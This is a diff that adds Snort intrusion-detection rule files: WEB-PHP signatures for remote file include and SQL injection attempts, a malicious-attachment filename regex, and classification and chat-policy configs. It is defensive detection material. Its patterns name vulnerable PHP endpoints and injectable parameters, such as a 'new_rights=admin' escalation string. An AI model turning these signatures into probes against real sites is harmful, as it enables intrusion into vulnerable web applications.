+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP pmachine remote file include attempt"; flow:to_server,established; uricontent:"lib.inc.php"; content:"pm_path="; pcre:"/pm_path=(http|https|ftp)/"; reference:bugtraq,7919; reference:nessus,11739; classtype:web-application-attack; sid:2226; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP forum_details.php access"; flow:to_server,established; uricontent:"forum_details.php"; reference:bugtraq,7933; reference:nessus,11760; classtype:web-application-attack; sid:2227; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP phpMyAdmin db_details_importdocsql.php access"; flow:to_server,established; uricontent:"db_details_importdocsql.php"; reference:bugtraq,7962; reference:bugtraq,7965; reference:nessus,11761; classtype:web-application-attack; sid:2228; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP viewtopic.php access"; flow:to_server,established; uricontent:"viewtopic.php"; reference:bugtraq,7979; reference:cve,2003-0486; reference:nessus,11767; classtype:web-application-attack; sid:2229; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP UpdateClasses.php access"; flow:to_server,established; uricontent:"/UpdateClasses.php"; nocase; reference:bugtraq,9057; classtype:web-application-activity; sid:2279; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Title.php access"; flow:to_server,established; uricontent:"/Title.php"; nocase; reference:bugtraq,9057; classtype:web-application-activity; sid:2280; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Setup.php access"; flow:to_server,established; uricontent:"/Setup.php"; nocase; reference:bugtraq,9057; classtype:web-application-activity; sid:2281; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP GlobalFunctions.php access"; flow:to_server,established; uricontent:"/GlobalFunctions.php"; nocase; reference:bugtraq,9057; classtype:web-application-activity; sid:2282; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP DatabaseFunctions.php access"; flow:to_server,established; uricontent:"/DatabaseFunctions.php"; nocase; reference:bugtraq,9057; classtype:web-application-activity; sid:2283; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP rolis guestbook remote file include attempt"; flow:to_server,established; uricontent:"/insert.inc.php"; nocase; content:"path="; reference:bugtraq,9057; classtype:web-application-attack; sid:2284; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP rolis guestbook access"; flow:to_server,established; uricontent:"/insert.inc.php"; nocase; reference:bugtraq,9057; classtype:web-application-activity; sid:2285; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP friends.php access"; flow:to_server,established; uricontent:"/friends.php"; nocase; reference:bugtraq,9088; classtype:web-application-activity; sid:2286; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_comment.php access"; flow:to_server,established; uricontent:"/admin_comment.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2287; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_edit.php access"; flow:to_server,established; uricontent:"/admin_edit.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2288; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_embed.php access"; flow:to_server,established; uricontent:"/admin_embed.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2289; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_help.php access"; flow:to_server,established; uricontent:"/admin_help.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2290; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_license.php access"; flow:to_server,established; uricontent:"/admin_license.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2291; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_logout.php access"; flow:to_server,established; uricontent:"/admin_logout.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2292; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_password.php access"; flow:to_server,established; uricontent:"/admin_password.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2293; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_preview.php access"; flow:to_server,established; uricontent:"/admin_preview.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2294; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_settings.php access"; flow:to_server,established; uricontent:"/admin_settings.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2295; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_stats.php access"; flow:to_server,established; uricontent:"/admin_stats.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2296; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_templates_misc.php access"; flow:to_server,established; uricontent:"/admin_templates_misc.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2297; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_templates.php access"; flow:to_server,established; uricontent:"/admin_templates.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2298; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_tpl_misc_new.php access"; flow:to_server,established; uricontent:"/admin_tpl_misc_new.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2299; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll admin_tpl_new.php access"; flow:to_server,established; uricontent:"/admin_tpl_new.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2300; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll booth.php access"; flow:to_server,established; uricontent:"/booth.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2301; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll poll_ssi.php access"; flow:to_server,established; uricontent:"/poll_ssi.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2302; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Advanced Poll popup.php access"; flow:to_server,established; uricontent:"/popup.php"; nocase; reference:bugtraq,8890; reference:nessus,11487; classtype:web-application-activity; sid:2303; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP files.inc.php access"; flow:to_server,established; uricontent:"/files.inc.php"; nocase; reference:bugtraq,8910; classtype:web-application-activity; sid:2304; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP chatbox.php access"; flow:to_server,established; uricontent:"/chatbox.php"; nocase; reference:bugtraq,8930; classtype:web-application-activity; sid:2305; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP gallery remote file include attempt"; flow:to_server,established; uricontent:"/setup/"; content:"GALLERY_BASEDIR="; pcre:"/GALLERY_BASEDIR=(http|https|ftp)/i"; reference:bugtraq,8814; reference:nessus,11876; classtype:web-application-attack; sid:2306; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PayPal Storefront remote file include attempt"; flow:to_server,established; content:"do=ext"; content:"page="; pcre:"/page=(http|https|ftp)/i"; reference:bugtraq,8791; reference:nessus,11873; classtype:web-application-attack; sid:2307; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP authentication_index.php access"; flow:to_server,established; uricontent:"/authentication_index.php"; nocase; reference:cve,2004-0032; reference:nessus,11982; classtype:web-application-activity; sid:2328; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP MatrikzGB privilege escalation attempt"; flow:to_server,established; content:"new_rights=admin"; nocase; reference:bugtraq,8430; classtype:web-application-activity; sid:2331; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP DCP-Portal remote file include attempt"; flow:to_server,established; uricontent:"/library/editor/editor.php"; nocase; content:"root="; reference:bugtraq,6525; classtype:web-application-attack; sid:2341; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP DCP-Portal remote file include attempt"; flow:to_server,established; uricontent:"/library/lib.php"; nocase; content:"root="; reference:bugtraq,6525; classtype:web-application-attack; sid:2342; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PhpGedView search.php access"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"action=soundex"; nocase; uricontent:"firstname="; nocase; reference:bugtraq,9369; reference:cve,2004-0032; classtype:web-application-activity; sid:2345; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP myPHPNuke chatheader.php access"; flow:to_server,established; uricontent:"/chatheader.php"; nocase; reference:bugtraq,6544; classtype:web-application-activity; sid:2346; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP myPHPNuke partner.php access"; flow:to_server,established; uricontent:"/partner.php"; nocase; reference:bugtraq,6544; classtype:web-application-activity; sid:2347; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP IdeaBox cord.php file include"; flow:to_server,established; uricontent:"/index.php"; nocase; content:"ideaDir"; nocase; content:"cord.php"; nocase; reference:bugtraq,7488; classtype:web-application-activity; sid:2353; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP IdeaBox notification.php file include"; flow:to_server,established; uricontent:"/index.php"; nocase; content:"gorumDir"; nocase; content:"notification.php"; nocase; reference:bugtraq,7488; classtype:web-application-activity; sid:2354; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Invision Board emailer.php file include"; flow:to_server,established; uricontent:"/ad_member.php"; nocase; content:"emailer.php"; nocase; reference:bugtraq,7204; classtype:web-application-activity; sid:2355; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP WebChat db_mysql.php file include"; flow:to_server,established; uricontent:"/defines.php"; nocase; content:"WEBCHATPATH"; nocase; content:"db_mysql.php"; nocase; reference:bugtraq,7000; classtype:web-application-attack; sid:2356; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP WebChat english.php file include"; flow:to_server,established; uricontent:"/defines.php"; nocase; content:"WEBCHATPATH"; nocase; content:"english.php"; nocase; reference:bugtraq,7000; classtype:web-application-attack; sid:2357; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Typo3 translations.php file include"; flow:to_server,established; uricontent:"/translations.php"; nocase; content:"ONLY"; nocase; reference:bugtraq,6984; classtype:web-application-attack; sid:2358; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Invision Board ipchat.php file include"; flow:to_server,established; uricontent:"/ipchat.php"; nocase; content:"root_path"; nocase; content:"conf_global.php"; nocase; reference:bugtraq,6976; classtype:web-application-attack; sid:2359; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP myphpPagetool pt_config.inc file include"; flow:to_server,established; uricontent:"/doc/admin"; nocase; content:"ptinclude"; nocase; content:"pt_config.inc"; nocase; reference:bugtraq,6744; classtype:web-application-attack; sid:2360; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP news.php file include"; flow:to_server,established; uricontent:"/news.php"; nocase; content:"template"; nocase; reference:bugtraq,6674; classtype:web-application-attack; sid:2361; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP YaBB SE packages.php file include"; flow:to_server,established; uricontent:"/packages.php"; nocase; content:"packer.php"; nocase; reference:bugtraq,6663; classtype:web-application-attack; sid:2362; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Cyboards default_header.php access"; flow:to_server,established; uricontent:"/default_header.php"; nocase; reference:bugtraq,6597; classtype:web-application-activity; sid:2363; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Cyboards options_form.php access"; flow:to_server,established; uricontent:"/options_form.php"; nocase; reference:bugtraq,6597; classtype:web-application-activity; sid:2364; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP newsPHP Language file include attempt"; flow:to_server,established; uricontent:"/nphpd.php"; nocase; content:"LangFile"; nocase; reference:bugtraq,8488; classtype:web-application-activity; sid:2365; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PhpGedView PGV authentication_index.php base directory manipulation attempt"; flow:to_server,established; uricontent:"/authentication_index.php"; nocase; content:"PGV_BASE_DIRECTORY"; nocase; reference:bugtraq,9368; reference:cve,2004-0030; classtype:web-application-attack; sid:2366; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PhpGedView PGV functions.php base directory manipulation attempt"; flow:to_server,established; uricontent:"/functions.php"; nocase; content:"PGV_BASE_DIRECTORY"; nocase; reference:bugtraq,9368; reference:cve,2004-0030; classtype:web-application-attack; sid:2367; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PhpGedView PGV config_gedcom.php base directory manipulation attempt"; flow:to_server,established; uricontent:"/config_gedcom.php"; nocase; content:"PGV_BASE_DIRECTORY"; nocase; reference:bugtraq,9368; reference:cve,2004-0030; classtype:web-application-attack; sid:2368; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Photopost PHP Pro showphoto.php access"; flow:to_server,established; uricontent:"/showphoto.php"; nocase; reference:bugtraq,9557; classtype:web-application-activity; sid:2372; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP /_admin access"; flow:to_server,established; uricontent:"/_admin/"; nocase; reference:bugtraq,9537; reference:nessus,12032; classtype:web-application-activity; sid:2393; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP WAnewsletter newsletter.php file include attempt"; flow:to_server,established; uricontent:"newsletter.php"; nocase; content:"waroot"; nocase; content:"start.php"; nocase; reference:bugtraq,6965; classtype:web-application-attack; sid:2398; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP WAnewsletter db_type.php access"; flow:to_server,established; uricontent:"/sql/db_type.php"; nocase; reference:bugtraq,6964; classtype:web-application-activity; sid:2399; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP phptest.php access"; flow:to_server,established; uricontent:"/phptest.php"; nocase; reference:bugtraq,9737; classtype:web-application-activity; sid:2405; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP IGeneric Free Shopping Cart page.php access"; flow:to_server,established; uricontent:"/page.php"; nocase; reference:bugtraq,9773; classtype:web-application-activity; sid:2410; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP modules.php access"; flow:to_server,established; uricontent:"/modules.php"; nocase; reference:bugtraq,9879; classtype:web-application-activity; sid:2565; rev:1;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PHPBB viewforum.php access"; flow:to_server,established; uricontent:"/viewforum.php"; nocase; reference:bugtraq,9865; reference:bugtraq,9866; reference:nessus,12093; classtype:web-application-activity; sid:2566; rev:4;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Opt-X header.php remote file include attempt"; flow:to_server,established; uricontent:"/header.php"; nocase; content:"systempath="; pcre:"/systempath=(http|https|ftp)/i"; reference:bugtraq,9732; classtype:web-application-attack; sid:2575; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP TUTOS path disclosure attempt"; flow:to_server,established; uricontent:"/note_overview.php"; content:"id="; reference:bugtraq,10129; reference:url,www.securiteam.com/unixfocus/5FP0J15CKE.html; classtype:web-application-activity; sid:2588; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-PHP PHPNuke Forum viewtopic SQL insertion attempt"; flow:to_server,established; uricontent:"/modules.php"; nocase; content:"name=Forums"; content:"file=viewtopic"; pcre:"/forum=.*'/"; reference:bugtraq,7193; classtype:web-application-attack; sid:2654; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PhpGedView PGV base directory manipulation"; flow:to_server,established; uricontent:"_conf.php"; nocase; content:"PGV_BASE_DIRECTORY"; nocase; reference:bugtraq,9368; classtype:web-application-attack; sid:2926; rev:1;)
--- snort-2.8.5.2.orig/rules/virus.rules
+++ snort-2.8.5.2/rules/virus.rules
@@ -0,0 +1,35 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: virus.rules,v 1.28.2.1.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+#------------
+# VIRUS RULES
+#------------
+#
+# We don't care about virus rules anymore.  BUT, you people won't stop asking
+# us for virus rules.  So... here ya go.
+#
+# There is now one rule that looks for any of the following attachment types:
+#
+#   ade, adp, asd, asf, asx, bat, chm, cli, cmd, com, cpp, diz, dll, dot, emf,
+#   eml, exe, hlp, hsq, hta, ini, js, jse, lnk, mda, mdb, mde, mdw, msi, msp,
+#   nws, ocx, pif, pl, pm, pot, pps, ppt, reg, rtf, scr, shs, swf, sys, vb,
+#   vbe, vbs, vcf, vxd, wmd, wmf, wms, wmz, wpd, wpm, wps, wpz, wsc, wsf, wsh,
+#   xlt, xlw
+#
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND bad file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; nocase; pcre:"/filename\s*=\s*.*?\.(?=[abcdehijlmnoprsvwx])(a(d[ep]|s[dfx])|c([ho]m|li|md|pp)|d(iz|ll|ot)|e(m[fl]|xe)|h(lp|sq|ta)|jse?|m(d[abew]|s[ip])|p(p[st]|if|[lm]|ot)|r(eg|tf)|s(cr|[hy]s|wf)|v(b[es]?|cf|xd)|w(m[dfsz]|p[dmsz]|s[cfh])|xl[tw]|bat|ini|lnk|nws|ocx)[\x27\x22\n\r\s]/iR"; classtype:suspicious-filename-detect; sid:721; rev:8;)
--- snort-2.8.5.2.orig/rules/generators
+++ snort-2.8.5.2/rules/generators
@@ -0,0 +1,39 @@
+# Master Registry of Snort Generator Ids
+#
+#
+# This file is used to maintain unique generator ids for files even if
+# the default snort configuration doesn't include some patch that is
+# required for a specific preprocessor to work
+#
+# 
+#
+# Maintainer: Chris Green <cmg@sourcefire.com>
+# 
+# Contact cmg@sourcefire.com for an assignment
+
+rules_subsystem		   1   # Snort Rules Engine
+tag_subsystem		   2   # Tagging Subsystem
+portscan                   100 # Portscan1
+minfrag                    101 # Minfrag [ removed ]
+http_decode                102 # HTTP decode 1/2
+defrag                     103 # First defragmenter [ removed ]
+spade                      104 # SPADE [ not included anymore ]
+bo                         105 # Back Orifice 
+rpc_decode                 106 # RPC Preprocessor
+stream2                    107 # 2nd stream preprocessor [removed] 
+stream3                    108 # 3rd stream preprocessor (AVL nightmare) [ removed ] 
+telnet_neg                 109 # telnet option decoder
+unidecode                  110 # unicode decoder
+stream4                    111 # Stream4 preprocessor
+arpspoof                   112 # Arp Spoof detector
+frag2                      113 # 2nd fragment preprocessor
+fnord                      114 # NOP detector [ removed ]
+asn1                       115 # ASN.1 Validator [ removed ]
+decode                     116 # Snort Internal Decoder
+scan2                      117 # portscan2
+conversation               118 # conversation
+reserved                   119 # TBA
+reserved                   120 # TBA
+snmp                       121 # Andrew Baker's newer SNMP decoder
+sfportscan		   122 # Dan Roelkers portscan
+frag3			   123 # Marty Roesch's ip frag reassembler
--- snort-2.8.5.2.orig/rules/classification.config
+++ snort-2.8.5.2/rules/classification.config
@@ -0,0 +1,66 @@
+# $Id: classification.config,v 1.11 2003/10/20 15:03:03 chrisgreen Exp $
+# The following includes information for prioritizing rules
+# 
+# Each classification includes a shortname, a description, and a default
+# priority for that classification.
+#
+# This allows alerts to be classified and prioritized.  You can specify
+# what priority each classification has.  Any rule can override the default
+# priority for that rule.
+#
+# Here are a few example rules:
+# 
+#   alert TCP any any -> any 80 (msg: "EXPLOIT ntpdx overflow"; 
+#	dsize: > 128; classtype:attempted-admin; priority:10;
+#
+#   alert TCP any any -> any 25 (msg:"SMTP expn root"; flags:A+; \
+#	      content:"expn root"; nocase; classtype:attempted-recon;)
+#
+# The first rule will set its type to "attempted-admin" and override 
+# the default priority for that type to 10.
+#
+# The second rule set its type to "attempted-recon" and set its
+# priority to the default for that type.
+# 
+
+#
+# config classification:shortname,short description,priority
+#
+
+config classification: not-suspicious,Not Suspicious Traffic,3
+config classification: unknown,Unknown Traffic,3
+config classification: bad-unknown,Potentially Bad Traffic, 2
+config classification: attempted-recon,Attempted Information Leak,2
+config classification: successful-recon-limited,Information Leak,2
+config classification: successful-recon-largescale,Large Scale Information Leak,2
+config classification: attempted-dos,Attempted Denial of Service,2
+config classification: successful-dos,Denial of Service,2
+config classification: attempted-user,Attempted User Privilege Gain,1
+config classification: unsuccessful-user,Unsuccessful User Privilege Gain,1
+config classification: successful-user,Successful User Privilege Gain,1
+config classification: attempted-admin,Attempted Administrator Privilege Gain,1
+config classification: successful-admin,Successful Administrator Privilege Gain,1
+
+
+# NEW CLASSIFICATIONS
+config classification: rpc-portmap-decode,Decode of an RPC Query,2
+config classification: shellcode-detect,Executable code was detected,1
+config classification: string-detect,A suspicious string was detected,3
+config classification: suspicious-filename-detect,A suspicious filename was detected,2
+config classification: suspicious-login,An attempted login using a suspicious username was detected,2
+config classification: system-call-detect,A system call was detected,2
+config classification: tcp-connection,A TCP connection was detected,4
+config classification: trojan-activity,A Network Trojan was detected, 1
+config classification: unusual-client-port-connection,A client was using an unusual port,2
+config classification: network-scan,Detection of a Network Scan,3
+config classification: denial-of-service,Detection of a Denial of Service Attack,2
+config classification: non-standard-protocol,Detection of a non-standard protocol or event,2
+config classification: protocol-command-decode,Generic Protocol Command Decode,3
+config classification: web-application-activity,access to a potentially vulnerable web application,2
+config classification: web-application-attack,Web Application Attack,1
+config classification: misc-activity,Misc activity,3
+config classification: misc-attack,Misc Attack,2
+config classification: icmp-event,Generic ICMP event,3
+config classification: kickass-porn,SCORE! Get the lotion!,1
+config classification: policy-violation,Potential Corporate Privacy Violation,1
+config classification: default-login-attempt,Attempt to login by a default username and password,2
--- snort-2.8.5.2.orig/rules/chat.rules
+++ snort-2.8.5.2/rules/chat.rules
@@ -0,0 +1,63 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: chat.rules,v 1.25.2.2.2.4 2005/07/22 19:19:54 mwatchinski Exp $
+#-------------
+# CHAT RULES
+#-------------
+# These signatures look for people using various types of chat programs (for
+# example: AIM, ICQ, and IRC) which may be against corporate policy
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CHAT ICQ access"; flow:to_server,established; content:"User-Agent|3A|ICQ"; classtype:policy-violation; sid:541; rev:9;)
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"CHAT ICQ forced user addition"; flow:established,to_client; content:"Content-Type|3A| application/x-icq"; nocase; content:"[ICQ User]"; reference:bugtraq,3226; reference:cve,2001-1305; classtype:policy-violation; sid:1832; rev:7;)
+
+alert tcp $HOME_NET any <> $EXTERNAL_NET 1863 (msg:"CHAT MSN message"; flow:established; content:"MSG "; depth:4; content:"Content-Type|3A|"; nocase; content:"text/plain"; distance:1; classtype:policy-violation; sid:540; rev:11;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 1863 (msg:"CHAT MSN outbound file transfer request"; flow:established; content:"MSG "; depth:4; content:"Content-Type|3A| application/x-msnmsgrp2p"; nocase; content:"INVITE"; distance:0; nocase; classtype:policy-violation; sid:1986; rev:6;)
+alert tcp $EXTERNAL_NET 1863 -> $HOME_NET any (msg:"CHAT MSN outbound file transfer accept"; flow:established; content:"MSG "; depth:4; content:"Content-Type|3A| application/x-msnmsgrp2p"; distance:0; nocase; content:"MSNSLP/1.0 200 OK"; distance:0; nocase; classtype:policy-violation; sid:1988; rev:5;)
+alert tcp $EXTERNAL_NET 1863 -> $HOME_NET any (msg:"CHAT MSN outbound file transfer rejected"; flow:established; content:"MSG "; depth:4; content:"Content-Type|3A| application/x-msnmsgrp2p"; distance:0; nocase; content:"MSNSLP/1.0 603 Decline"; distance:0; nocase; classtype:policy-violation; sid:1989; rev:6;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 1863 (msg:"CHAT MSN user search"; flow:to_server,established; content:"CAL "; depth:4; nocase; classtype:policy-violation; sid:1990; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 1863 (msg:"CHAT MSN login attempt"; flow:to_server,established; content:"USR "; depth:4; nocase; content:" TWN "; distance:1; nocase; threshold:type limit, track by_src, count 1, seconds 60; classtype:policy-violation; sid:1991; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC nick change"; flow:to_server,established; content:"NICK "; offset:0; nocase; classtype:policy-violation; sid:542; rev:11;)
